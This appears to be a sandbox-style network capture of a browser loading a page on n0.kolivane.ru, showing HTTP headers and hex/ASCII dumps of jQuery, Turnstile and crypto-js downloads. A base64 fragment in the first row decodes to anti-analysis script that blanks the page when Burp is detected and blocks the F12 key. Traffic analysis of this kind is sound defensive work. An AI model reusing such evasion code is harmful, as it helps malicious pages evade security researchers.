2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 35 70 62 6d 4e 73 64 57 52 6c 63 79 67 69 51 6e 56 79 63 43 49 70 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 64 70 62 6d 52 76 64 79 35 73 62 32 4e 68 64 47 6c 76 62 69 41 39 49 43 4a 68 59 6d 39 31 64 44 70 69 62 47 46 75 61 79 49 37 44 51 70 39 44 51 70 6b 62 32 4e 31 62 57 56 75 64 43 35 68 5a 47 52 46 64 6d 56 75 64 45 78 70 63 33 52 6c 62 6d 56 79 4b 43 64 72 5a 58 6c 6b 62 33 64 75 4a 79 77 67 5a 6e 56 75 59 33 52 70 62 32 34 6f 5a 58 5a 6c 62 6e 51 70 49 48 73 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4d 54 49 7a 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 Data Ascii: 5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogI

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:08 UTC	620	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://n0.kolivane.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-30 07:07:08 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Dec 2024 07:07:08 GMT Age: 4063961 X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890065-NYC X-Cache: HIT, HIT X-Cache-Hits: 55, 3 X-Timer: S1735542429.799731,VS0,VE0 Vary: Accept-Encoding
2024-12-30 07:07:08 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-30 07:07:08 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-12-30 07:07:08 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-12-30 07:07:09 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-12-30 07:07:09 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-12-30 07:07:09 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:08 UTC	646	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://n0.kolivane.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-30 07:07:08 UTC	386	IN	HTTP/1.1 302 Found Date: Mon, 30 Dec 2024 07:07:08 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/787bc399e22f/api.js Server: cloudflare CF-RAY: 8fa030f42a657c9a-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:08 UTC	648	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://n0.kolivane.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-30 07:07:08 UTC	958	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 07:07:08 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 408176 Expires: Sat, 20 Dec 2025 07:07:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g%2FjRLWChnXW4DBFWtK7Wuqj6p1GjKKP8fM8gfOx1aWR7HcIakAhiuMPW6jg4Fcfl071SuCpacXjzAuLlxO8XUviAuRj9M5J2B9ReItCjfuopIu8v%2FTarUL9%2BFR4ZYDzSUtksT86D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8fa030f4296b0f74-EWR alt-svc: h3=":443"; ma=86400
2024-12-30 07:07:08 UTC	411	IN	Data Raw: 33 39 37 37 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 3977!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.crea
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 Data Ascii: all(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b Data Ascii: eof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 Data Ascii: ar t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d Data Ascii: or(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 Data Ascii: ,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fu
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 Data Ascii: arAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQ
2024-12-30 07:07:08 UTC	1369	IN	Data Raw: 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 